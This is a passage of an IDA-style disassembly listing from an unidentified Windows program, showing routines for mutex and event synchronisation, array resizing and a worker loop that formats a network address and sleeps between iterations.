		leave
		retn	4
sub_40E258	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E2F1	proc near		; CODE XREF: sub_4280CC+6Ep
		mov	eax, offset loc_42792F
		call	sub_41E550
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		lea	esi, [edi+4]
		mov	eax, esi
		mov	dword ptr [ebp-4], 1
		xor	ebx, ebx
		call	sub_408AF0
		test	eax, eax
		jbe	short loc_40E339

loc_40E318:				; CODE XREF: sub_40E2F1+46j
		mov	eax, [edi+8]
		lea	eax, [eax+ebx*4]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_40E32D
		mov	edx, [eax]
		push	1
		mov	ecx, eax
		call	dword ptr [edx+4]

loc_40E32D:				; CODE XREF: sub_40E2F1+31j
		mov	eax, esi
		inc	ebx
		call	sub_408AF0
		cmp	ebx, eax
		jb	short loc_40E318

loc_40E339:				; CODE XREF: sub_40E2F1+25j
		call	sub_413A1C
		push	dword ptr [edi]
		call	ds:dword_4290F0	; CloseHandle
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_40E2F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E357	proc near		; CODE XREF: sub_40E47E+35p

arg_0		= dword	ptr  4

		cmp	dword ptr [eax+14h], 0
		jz	short locret_40E371
		mov	eax, [eax+18h]
		test	eax, eax
		jz	short locret_40E371
		push	ebx
		push	[esp+4+arg_0]
		mov	ebx, eax
		call	sub_40E0FA
		pop	ebx

locret_40E371:				; CODE XREF: sub_40E357+4j
					; sub_40E357+Bj
		retn	4
sub_40E357	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E374	proc near		; CODE XREF: sub_40E5EC+63p
		mov	eax, [eax+18h]
		test	eax, eax
		jnz	short loc_40E37F
		xor	ax, ax
		retn
; ---------------------------------------------------------------------------

loc_40E37F:				; CODE XREF: sub_40E374+5j
		mov	ax, [eax+5C4h]
		retn
sub_40E374	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E387	proc near		; CODE XREF: sub_40F9A9+35p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		xor	eax, eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_40E395
		mov	[esi+18h], eax

loc_40E395:				; CODE XREF: sub_40E387+9j
		mov	[ebp+var_4], eax
		lea	eax, [esi+4]
		call	sub_408AF0
		test	eax, eax
		jbe	short locret_40E411
		push	ebx
		push	edi

loc_40E3A6:				; CODE XREF: sub_40E387+86j
		push	[ebp+arg_0]
		call	sub_41C350
		test	eax, eax
		pop	ecx
		jz	short loc_40E3FF
		mov	edi, [ebp+var_4]
		mov	eax, [esi+8]
		shl	edi, 2
		mov	eax, [eax+edi]
		add	eax, 584h
		push	eax
		call	sub_41C350
		push	[ebp+arg_0]
		mov	ebx, eax
		call	sub_41C350
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		ja	short loc_40E3FF
		mov	eax, [esi+8]
		push	[ebp+arg_0]
		add	eax, edi
		mov	eax, [eax]
		add	eax, 584h
		push	eax
		call	sub_426D1E
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40E3FF
		mov	eax, [esi+8]
		add	eax, edi
		mov	eax, [eax]
		mov	[esi+18h], eax

loc_40E3FF:				; CODE XREF: sub_40E387+2Aj
					; sub_40E387+51j ...
		inc	[ebp+var_4]
		lea	eax, [esi+4]
		call	sub_408AF0
		cmp	[ebp+var_4], eax
		jb	short loc_40E3A6
		pop	edi
		pop	ebx

locret_40E411:				; CODE XREF: sub_40E387+1Bj
		leave
		retn	4
sub_40E387	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E415	proc near		; CODE XREF: sub_40F8F8+83p
		push	esi
		mov	esi, eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		call	ds:dword_429128	; WaitForSingleObject
		test	edi, edi
		jz	short loc_40E42B
		call	sub_40E449

loc_40E42B:				; CODE XREF: sub_40E415+Fj
		push	dword ptr [esi]
		mov	[esi+14h], edi
		call	ds:dword_429138	; ReleaseMutex
		pop	esi
		retn
sub_40E415	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E438	proc near		; CODE XREF: sub_40E258+43p
					; sub_40E258+5Fp ...

arg_0		= byte ptr  4

		push	esi
		add	eax, 4
		lea	esi, [esp+4+arg_0]
		call	sub_413F72
		pop	esi
		retn	4
sub_40E438	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E449	proc near		; CODE XREF: sub_40E415+11p
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_40E458
		push	1
		push	eax
		call	sub_40E45D

loc_40E458:				; CODE XREF: sub_40E449+5j
		and	dword ptr [esi+14h], 0
		retn
sub_40E449	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E45D	proc near		; CODE XREF: sub_40E449+Ap

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		call	sub_40E135
		test	[esp+arg_4], 1
		jz	short loc_40E477
		push	[esp+arg_0]
		call	sub_41C7B8
		pop	ecx

loc_40E477:				; CODE XREF: sub_40E45D+Ej
		mov	eax, [esp+arg_0]
		retn	8
sub_40E45D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E47E	proc near		; DATA XREF: .text:004306E4o

arg_0		= byte ptr  4
arg_14		= dword	ptr  18h

		test	[esp+arg_0], 10h
		push	edi
		mov	edi, ecx
		jz	short loc_40E4BF
		cmp	[esp+4+arg_14],	0
		jnz	short loc_40E4BF
		cmp	ds:dword_4381B0, 0
		jz	short loc_40E4BF
		cmp	ds:dword_4381B4, 0
		jz	short loc_40E4BF
		mov	eax, [edi+34h]
		imul	eax, 574h
		add	eax, [edi+18h]
		push	eax
		mov	eax, offset dword_43819C
		call	sub_40E357
		push	0
		call	sub_4152DF

loc_40E4BF:				; CODE XREF: sub_40E47E+8j
					; sub_40E47E+Fj ...
		xor	eax, eax
		inc	eax
		pop	edi
		retn	2Ch
sub_40E47E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E4C6	proc near		; CODE XREF: sub_40F839+41p
					; sub_40FA00+38p
		mov	eax, offset loc_427D4C
		call	sub_41E550
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	dword ptr [edi+0Ch], 0FFFFFFFFh
		xor	ebx, ebx
		mov	[edi+4], ebx
		mov	[ebp-4], ebx
		lea	esi, [edi+20h]
		mov	dword ptr [edi], offset	off_4306FC
		call	sub_4099E5
		lea	eax, [edi+24h]
		push	eax
		mov	byte ptr [ebp-4], 1
		call	sub_40E6B3
		push	ebx
		push	ebx
		push	1
		push	ebx
		mov	[edi+3Ch], ebx
		mov	[edi+40h], ebx
		mov	[edi+44h], ebx
		call	ds:dword_429150	; CreateEventA
		mov	ecx, [ebp+0Ch]
		push	edi
		mov	[edi+10h], eax
		call	sub_40E5D7
		mov	esi, edi
		call	sub_416AC4
		mov	ecx, [ebp-0Ch]
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	8
sub_40E4C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E537	proc near		; DATA XREF: .text:00430700o

arg_0		= byte ptr  4

		push	ebx
		mov	ebx, ecx
		call	sub_40E553
		test	[esp+4+arg_0], 1
		jz	short loc_40E54D
		push	ebx
		call	sub_41C7B8
		pop	ecx

loc_40E54D:				; CODE XREF: sub_40E537+Dj
		mov	eax, ebx
		pop	ebx
		retn	4
sub_40E537	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E553	proc near		; CODE XREF: sub_40E537+3p
		push	esi
		push	edi
		lea	esi, [ebx+38h]
		call	sub_413A1C
		lea	edi, [ebx+24h]
		call	sub_40B9E3
		push	dword ptr [ebx+20h]
		call	ds:dword_4290F0	; CloseHandle
		pop	edi
		mov	ecx, ebx
		pop	esi
		jmp	sub_416AA6
sub_40E553	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E577	proc near		; CODE XREF: sub_40FA00+74p

var_28		= byte ptr -28h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	0FFFFFFFFh
		push	dword ptr [esi+20h]
		call	ds:dword_429128	; WaitForSingleObject
		push	[ebp+arg_0]
		lea	ebx, [ebp+var_28]
		call	sub_41646A
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [esi+38h]
		push	eax
		call	sub_40E742
		push	dword ptr [esi+10h]
		call	ds:dword_42910C	; SetEvent
		push	dword ptr [esi+20h]
		call	ds:dword_429138	; ReleaseMutex
		pop	ebx
		leave
		retn	4
sub_40E577	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E5B8	proc near		; CODE XREF: sub_40FAA1+Bp
		push	esi
		push	0FFFFFFFFh
		push	dword ptr [edi+20h]
		call	ds:dword_429128	; WaitForSingleObject
		lea	esi, [edi+38h]
		call	sub_413A1C
		push	dword ptr [edi+20h]
		call	ds:dword_429138	; ReleaseMutex
		pop	esi
		retn
sub_40E5B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E5D7	proc near		; CODE XREF: sub_40E4C6+52p
					; sub_40F839+5Bp

arg_0		= dword	ptr  4

		mov	eax, 0BB8h
		cmp	ecx, eax
		jnb	short loc_40E5E2
		mov	ecx, eax

loc_40E5E2:				; CODE XREF: sub_40E5D7+7j
		mov	eax, [esp+arg_0]
		mov	[eax+14h], ecx
		retn	4
sub_40E5D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40E5EC	proc near		; DATA XREF: .text:off_4306FCo

var_578		= byte ptr -578h
var_574		= byte ptr -574h

		sub	esp, 578h
		push	ebx
		push	ebp
		mov	ebp, ds:dword_429128
		push	esi
		push	edi
		mov	edi, ecx

loc_40E5FE:				; CODE XREF: sub_40E5EC+53j
					; sub_40E5EC+7Aj ...
		push	0FFFFFFFFh
		push	dword ptr [edi+10h]
		call	ebp	; WaitForSingleObject
		lea	eax, [edi+38h]
		call	sub_40E72C
		test	eax, eax
		jz	short loc_40E65D
		push	0FFFFFFFFh
		push	dword ptr [edi+20h]
		call	ebp	; WaitForSingleObject
		mov	esi, [edi+3Ch]
		call	sub_4165CD
		test	eax, eax
		mov	[edi+18h], eax
		jnz	short loc_40E641
		push	dword ptr [edi+3Ch]
		lea	ebx, [esp+58Ch+var_578]
		lea	esi, [edi+38h]
		call	sub_40E789
		push	dword ptr [edi+20h]
		call	ds:dword_429138	; ReleaseMutex
		jmp	short loc_40E5FE
; ---------------------------------------------------------------------------

loc_40E641:				; CODE XREF: sub_40E5EC+39j
		push	dword ptr [edi+20h]
		call	ds:dword_429138	; ReleaseMutex
		mov	eax, offset dword_43819C
		call	sub_40E374
		test	ax, ax
		mov	[edi+1Ch], ax
		jnz	short loc_40E668

loc_40E65D:				; CODE XREF: sub_40E5EC+23j
		push	dword ptr [edi+10h]
		call	ds:dword_429114	; ResetEvent
		jmp	short loc_40E5FE
; ---------------------------------------------------------------------------

loc_40E668:				; CODE XREF: sub_40E5EC+6Fj
		lea	esi, [esp+588h+var_574]
		call	sub_414878
		xor	ecx, ecx
		inc	ecx
		mov	eax, esi
		call	sub_4148AA
		push	10h
		pop	ebx
		call	sub_414AE0
		push	dword ptr [edi+18h]
		call	ds:dword_429274	; inet_ntoa
		push	eax
		mov	ax, [edi+1Ch]
		mov	ecx, esi
		call	sub_414A81
		lea	eax, [esp+588h+var_574]
		push	eax
		lea	ecx, [edi+24h]
		call	sub_40EA20
		push	dword ptr [edi+14h]
		call	ds:dword_429084	; Sleep
		jmp	loc_40E5FE
sub_40E5EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E6B3	proc near		; CODE XREF: sub_40E4C6+32p
		mov	eax, offset loc_427D24
		call	sub_41E550
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		call	sub_4099E5
		xor	ebx, ebx
		lea	edi, [esi+4]
		mov	[ebp-4], ebx
		mov	[edi+4], ebx
		mov	[edi+8], ebx
		mov	[edi+0Ch], ebx
		push	154h
		mov	byte ptr [ebp-4], 1
		call	sub_41BA91
		mov	esi, eax
		pop	ecx
		mov	[ebp-10h], esi
		cmp	esi, ebx
		mov	byte ptr [ebp-4], 2
		jz	short loc_40E705
		push	ebx
		push	esi
		call	sub_4150A5
		mov	dword ptr [esi], offset	off_4306D8
		jmp	short loc_40E707
; ---------------------------------------------------------------------------

loc_40E705:				; CODE XREF: sub_40E6B3+41j
		xor	esi, esi

loc_40E707:				; CODE XREF: sub_40E6B3+50j
		mov	byte ptr [ebp-4], 1
		mov	[ebp-10h], esi
		lea	esi, [ebp-10h]
		mov	eax, edi
		call	sub_40C2E7
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+8]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_40E6B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E72C	proc near		; CODE XREF: sub_40E5EC+1Cp
					; sub_40E742+14p ...
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_40E736
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_40E736:				; CODE XREF: sub_40E72C+5j
		mov	eax, [eax+8]
		sub	eax, ecx
		push	28h
		cdq
		pop	ecx
		idiv	ecx
		retn
sub_40E72C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E742	proc near		; CODE XREF: sub_40E577+25p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	eax, ebx
		call	sub_40E7C6
		mov	esi, eax
		mov	eax, ebx
		call	sub_40E72C
		cmp	eax, esi
		push	[ebp+arg_4]
		jnb	short loc_40E773
		mov	edi, [ebx+8]
		xor	esi, esi
		push	ebx
		inc	esi
		call	sub_40E81D
		mov	[ebx+8], eax
		jmp	short loc_40E782
; ---------------------------------------------------------------------------

loc_40E773:				; CODE XREF: sub_40E742+1Ej
		mov	ebx, [ebx+8]
		mov	edi, [ebp+arg_0]
		push	ebx
		lea	ebx, [ebp+arg_4]
		call	sub_40E7DC

loc_40E782:				; CODE XREF: sub_40E742+2Fj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
sub_40E742	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E789	proc near		; CODE XREF: sub_40E5EC+45p

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		push	edi
		push	dword ptr [esi+8]
		lea	eax, [edi+28h]
		call	sub_40EB0E
		add	dword ptr [esi+8], 0FFFFFFD8h
		pop	ecx
		pop	ecx
		mov	[ebx], edi
		mov	eax, ebx
		pop	edi
		retn	4
sub_40E789	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E7A8	proc near		; CODE XREF: sub_4140D0+A1p
					; sub_4140D0+127p

arg_0		= dword	ptr  4

		test	ecx, ecx
		mov	eax, esi
		jbe	short loc_40E7C0
		mov	edx, ecx
		push	edi

loc_40E7B1:				; CODE XREF: sub_40E7A8+15j
		mov	edi, [esp+4+arg_0]
		mov	edi, [edi]
		mov	[eax], edi
		add	eax, 4
		dec	edx
		jnz	short loc_40E7B1
		pop	edi

loc_40E7C0:				; CODE XREF: sub_40E7A8+4j
		lea	eax, [esi+ecx*4]
		retn	4
sub_40E7A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E7C6	proc near		; CODE XREF: sub_40E742+Bp
					; sub_40E83B+21p
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_40E7D0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_40E7D0:				; CODE XREF: sub_40E7C6+5j
		mov	eax, [eax+0Ch]
		sub	eax, ecx
		push	28h
		cdq
		pop	ecx
		idiv	ecx
		retn
sub_40E7C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E7DC	proc near		; CODE XREF: sub_40E742+3Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	eax, edi
		call	sub_40E72C
		test	eax, eax
		jnz	short loc_40E7EC
		xor	esi, esi
		jmp	short loc_40E7FB
; ---------------------------------------------------------------------------

loc_40E7EC:				; CODE XREF: sub_40E7DC+Aj
		mov	eax, [esp+4+arg_0]
		sub	eax, [edi+4]
		push	28h
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax

loc_40E7FB:				; CODE XREF: sub_40E7DC+Ej
		mov	edx, [esp+4+arg_4]
		push	1
		push	[esp+8+arg_0]
		mov	ecx, edi
		call	sub_40E83B
		mov	ecx, [edi+4]
		lea	eax, [esi+esi*4]
		lea	eax, [ecx+eax*8]
		mov	[ebx], eax
		mov	eax, ebx
		pop	esi
		retn	8
sub_40E7DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E81D	proc near		; CODE XREF: sub_40E742+27p
					; sub_40E83B+BEp ...

arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_4]
		mov	eax, esi
		push	[ebp+arg_4]
		push	edi
		call	sub_40EB82
		lea	eax, [esi+esi*4]
		add	esp, 0Ch
		lea	eax, [edi+eax*8]
		pop	ebp
		retn	8
sub_40E81D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E83B	proc near		; CODE XREF: sub_40E7DC+2Bp
		mov	eax, offset loc_427C55
		call	sub_41E550
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-10h], esp
		mov	ebx, ecx
		push	0Ah
		pop	ecx
		mov	esi, edx
		lea	edi, [ebp-40h]
		mov	eax, ebx
		rep movsd
		call	sub_40E7C6
		mov	esi, [ebp+0Ch]
		test	esi, esi
		mov	edi, eax
		jz	loc_40EA0F
		mov	eax, ebx
		call	sub_40E72C
		mov	ecx, 6666666h
		sub	ecx, eax
		cmp	ecx, esi
		jnb	short loc_40E885
		call	sub_40C38F

loc_40E885:				; CODE XREF: sub_40E83B+43j
		mov	eax, ebx
		call	sub_40E72C
		add	eax, esi
		cmp	edi, eax
		jnb	loc_40E969
		mov	eax, edi
		shr	eax, 1
		mov	ecx, 6666666h
		sub	ecx, eax
		cmp	ecx, edi
		jnb	short loc_40E8AE
		and	dword ptr [ebp-14h], 0
		mov	edi, [ebp-14h]
		jmp	short loc_40E8B3
; ---------------------------------------------------------------------------

loc_40E8AE:				; CODE XREF: sub_40E83B+68j
		add	edi, eax
		mov	[ebp-14h], edi

loc_40E8B3:				; CODE XREF: sub_40E83B+71j
		mov	eax, ebx
		call	sub_40E72C
		add	eax, esi
		cmp	edi, eax
		jnb	short loc_40E8CE
		mov	eax, ebx
		call	sub_40E72C
		add	eax, esi
		mov	[ebp-14h], eax
		mov	edi, eax

loc_40E8CE:				; CODE XREF: sub_40E83B+83j
		lea	eax, [edi+edi*4]
		shl	eax, 3
		push	eax
		call	sub_41BA91
		and	dword ptr [ebp-4], 0
		push	dword ptr [ebp+8]
		mov	edx, [ebx+4]
		push	dword ptr [ebp+8]
		mov	[ebp-18h], eax
		call	sub_40EBCE
		add	esp, 0Ch
		lea	ecx, [ebp-40h]
		push	ecx
		push	ebx
		mov	edi, eax
		call	sub_40E81D
		mov	ecx, [ebx+8]
		push	dword ptr [ebp+8]
		mov	edx, [ebp+8]
		push	ecx
		call	sub_40EBCE
		pop	ecx
		pop	ecx
		mov	eax, ebx
		call	sub_40E72C
		mov	esi, [ebp+0Ch]
		add	esi, eax
		mov	eax, [ebx+4]
		test	eax, eax
		jz	short loc_40E937
		mov	ecx, [ebx+8]
		jmp	short loc_40E92A
; ---------------------------------------------------------------------------

loc_40E927:				; CODE XREF: sub_40E83B+F1j
		add	eax, 28h

loc_40E92A:				; CODE XREF: sub_40E83B+EAj
		cmp	eax, ecx
		jnz	short loc_40E927
		push	dword ptr [ebx+4]
		call	sub_41C7B8
		pop	ecx

loc_40E937:				; CODE XREF: sub_40E83B+E5j
		mov	eax, [ebp-14h]
		lea	ecx, [eax+eax*4]
		mov	eax, [ebp-18h]
		lea	ecx, [eax+ecx*8]
		mov	[ebx+0Ch], ecx
		lea	ecx, [esi+esi*4]
		lea	ecx, [eax+ecx*8]
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		jmp	loc_40EA0F
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-18h]
		call	sub_41C7B8
		pop	ecx
		push	0
		push	0
		call	sub_41E4BE

loc_40E969:				; CODE XREF: sub_40E83B+55j
		mov	eax, [ebx+8]
		mov	edi, [ebp+8]
		mov	[ebp+0Ch], eax
		sub	eax, edi
		push	28h
		cdq
		pop	ecx
		idiv	ecx
		cmp	eax, esi
		jnb	short loc_40E9D6
		push	dword ptr [ebp+8]
		lea	eax, [esi+esi*4]
		push	dword ptr [ebp+0Ch]
		shl	eax, 3
		mov	[ebp-18h], eax
		add	eax, edi
		mov	edx, edi
		call	sub_40EBCE
		pop	ecx
		pop	ecx
		mov	dword ptr [ebp-4], 2
		mov	ecx, [ebx+8]
		lea	eax, [ebp-40h]
		push	eax
		mov	eax, ecx
		sub	eax, edi
		push	28h
		pop	edi
		cdq
		idiv	edi
		push	ebx
		mov	edi, ecx
		sub	esi, eax
		call	sub_40E81D
		mov	eax, [ebp-18h]
		add	[ebx+8], eax
		mov	ebx, [ebx+8]
		lea	ecx, [ebp-40h]
		sub	ebx, eax
		mov	eax, [ebp+8]
		push	ecx
		push	ebx
		call	sub_40EB25
		pop	ecx
		pop	ecx
		jmp	short loc_40EA0F
; ---------------------------------------------------------------------------

loc_40E9D6:				; CODE XREF: sub_40E83B+141j
		mov	eax, [ebp+0Ch]
		lea	esi, [esi+esi*4]
		mov	edx, eax
		shl	esi, 3
		sub	edx, esi
		mov	[ebp+8], edx
		push	dword ptr [ebp+8]
		push	eax
		call	sub_40EBCE
		push	dword ptr [ebp+0Ch]
		mov	[ebx+8], eax
		mov	eax, [ebp+8]
		push	edi
		call	sub_40EB44
		lea	eax, [ebp-40h]
		push	eax
		add	esi, edi
		push	esi
		mov	eax, edi
		call	sub_40EB25
		add	esp, 18h

loc_40EA0F:				; CODE XREF: sub_40E83B+2Dj
					; sub_40E83B+117j ...
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	8
sub_40E83B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40EA20	proc near		; CODE XREF: sub_40E5EC+B4p
		mov	eax, offset loc_427EE6
		call	sub_41E550
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		push	0FFFFFFFFh
		push	dword ptr [edi]
		call	ds:dword_429128	; WaitForSingleObject
		mov	ebx, [edi+8]
		mov	eax, [edi+0Ch]
		cmp	ebx, eax
		jz	short loc_40EA77

loc_40EA44:				; CODE XREF: sub_40EA20+55j
		lea	eax, [edi+4]
		call	sub_408AF0
		cmp	eax, 1
		jbe	short loc_40EA77
		mov	esi, [ebx]
		cmp	dword ptr [esi+48h], 0
		jg	short loc_40EA6F
		call	sub_4151B4
		push	ebx
		lea	ebx, [ebp-10h]
		lea	esi, [edi+4]
		call	sub_408B03
		mov	ebx, [edi+8]
		jmp	short loc_40EA72
; ---------------------------------------------------------------------------

loc_40EA6F:				; CODE XREF: sub_40EA20+37j
		add	ebx, 4

loc_40EA72:				; CODE XREF: sub_40EA20+4Dj
		cmp	ebx, [edi+0Ch]
		jnz	short loc_40EA44

loc_40EA77:				; CODE XREF: sub_40EA20+22j
					; sub_40EA20+2Fj
		mov	esi, [edi+8]
		cmp	esi, [edi+0Ch]
		jz	short loc_40EAF1

loc_40EA7F:				; CODE XREF: sub_40EA20+75j
		mov	eax, [ebp+8]
		mov	ebx, [esi]
		call	sub_41520F
		test	eax, eax
		jnz	short loc_40EB02
		mov	eax, [edi+0Ch]
		add	esi, 4
		cmp	esi, eax
		jnz	short loc_40EA7F
		push	154h
		call	sub_41BA91
		mov	esi, eax
		pop	ecx
		mov	[ebp-10h], esi
		xor	eax, eax
		cmp	esi, eax
		mov	[ebp-4], eax
		jz	short loc_40EABF
		push	eax
		push	esi
		call	sub_4150A5
		mov	dword ptr [esi], offset	off_4306D8
		mov	eax, esi

loc_40EABF:				; CODE XREF: sub_40EA20+8Ej
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	[ebp-10h], eax
		lea	eax, [edi+4]
		lea	esi, [ebp-10h]
		call	sub_40C2E7
		mov	ecx, [edi+0Ch]
		mov	eax, [ebp+8]
		sub	ecx, 4
		mov	ebx, [ecx]
		call	sub_41520F
		push	dword ptr [edi]
		call	ds:dword_429138	; ReleaseMutex
		mov	edi, [edi+0Ch]
		sub	edi, 4
		mov	eax, [edi]

loc_40EAF1:				; CODE XREF: sub_40EA20+5Dj
					; sub_40EA20+ECj
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_40EB02:				; CODE XREF: sub_40EA20+6Bj
		push	dword ptr [edi]
		call	ds:dword_429138	; ReleaseMutex
		mov	eax, [esi]
		jmp	short loc_40EAF1
sub_40EA20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB0E	proc near		; CODE XREF: sub_40E789+Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40EB5B
		add	esp, 0Ch
		leave
		retn
sub_40EB0E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EB25	proc near		; CODE XREF: sub_40E83B+192p
					; sub_40E83B+1CCp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	eax, [esp+arg_0]
		jz	short locret_40EB43
		push	esi
		push	edi

loc_40EB2D:				; CODE XREF: sub_40EB25+1Aj
		mov	esi, [esp+8+arg_4]
		mov	edi, eax
		push	0Ah
		add	eax, 28h
		cmp	eax, [esp+0Ch+arg_0]
		pop	ecx
		rep movsd
		jnz	short loc_40EB2D
		pop	edi
		pop	esi

locret_40EB43:				; CODE XREF: sub_40EB25+4j
		retn
sub_40EB25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB44	proc near		; CODE XREF: sub_40E83B+1BEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40EBA7
		add	esp, 0Ch
		leave
		retn
sub_40EB44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB5B	proc near		; CODE XREF: sub_40EB0E+Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	eax, [ebp+arg_0]
		jz	short loc_40EB7D
		push	esi
		push	edi

loc_40EB65:				; CODE XREF: sub_40EB5B+1Ej
		mov	edi, [ebp+arg_4]
		add	[ebp+arg_4], 28h
		mov	esi, eax
		push	0Ah
		add	eax, 28h
		cmp	eax, [ebp+arg_0]
		pop	ecx
		rep movsd
		jnz	short loc_40EB65
		pop	edi
		pop	esi

loc_40EB7D:				; CODE XREF: sub_40EB5B+6j
		mov	eax, [ebp+arg_4]
		pop	ebp
		retn
sub_40EB5B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EB82	proc near		; CODE XREF: sub_40E81D+Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		test	eax, eax
		jbe	short locret_40EBA6
		push	esi
		push	edi

loc_40EB88:				; CODE XREF: sub_40EB82+20j
		cmp	[esp+8+arg_0], 0
		jz	short loc_40EB9C
		mov	esi, [esp+8+arg_4]
		mov	edi, [esp+8+arg_0]
		push	0Ah
		pop	ecx
		rep movsd

loc_40EB9C:				; CODE XREF: sub_40EB82+Bj
		add	[esp+8+arg_0], 28h
		dec	eax
		jnz	short loc_40EB88
		pop	edi
		pop	esi

locret_40EBA6:				; CODE XREF: sub_40EB82+2j
		retn
sub_40EB82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EBA7	proc near		; CODE XREF: sub_40EB44+Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], eax
		jz	short loc_40EBC9
		push	esi
		push	edi

loc_40EBB1:				; CODE XREF: sub_40EBA7+1Ej
		sub	[ebp+arg_4], 28h
		mov	edi, [ebp+arg_4]
		sub	eax, 28h
		cmp	eax, [ebp+arg_0]
		push	0Ah
		pop	ecx
		mov	esi, eax
		rep movsd
		jnz	short loc_40EBB1
		pop	edi
		pop	esi

loc_40EBC9:				; CODE XREF: sub_40EBA7+6j
		mov	eax, [ebp+arg_4]
		pop	ebp
		retn
sub_40EBA7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBCE	proc near		; CODE XREF: sub_40E83B+AFp
					; sub_40E83B+CDp ...

arg_0		= dword	ptr  4

		cmp	edx, [esp+arg_0]
		jz	short locret_40EBF1
		push	esi
		push	edi

loc_40EBD6:				; CODE XREF: sub_40EBCE+1Fj
		test	eax, eax
		jz	short loc_40EBE3
		push	0Ah
		pop	ecx
		mov	esi, edx
		mov	edi, eax
		rep movsd

loc_40EBE3:				; CODE XREF: sub_40EBCE+Aj
		add	edx, 28h
		add	eax, 28h
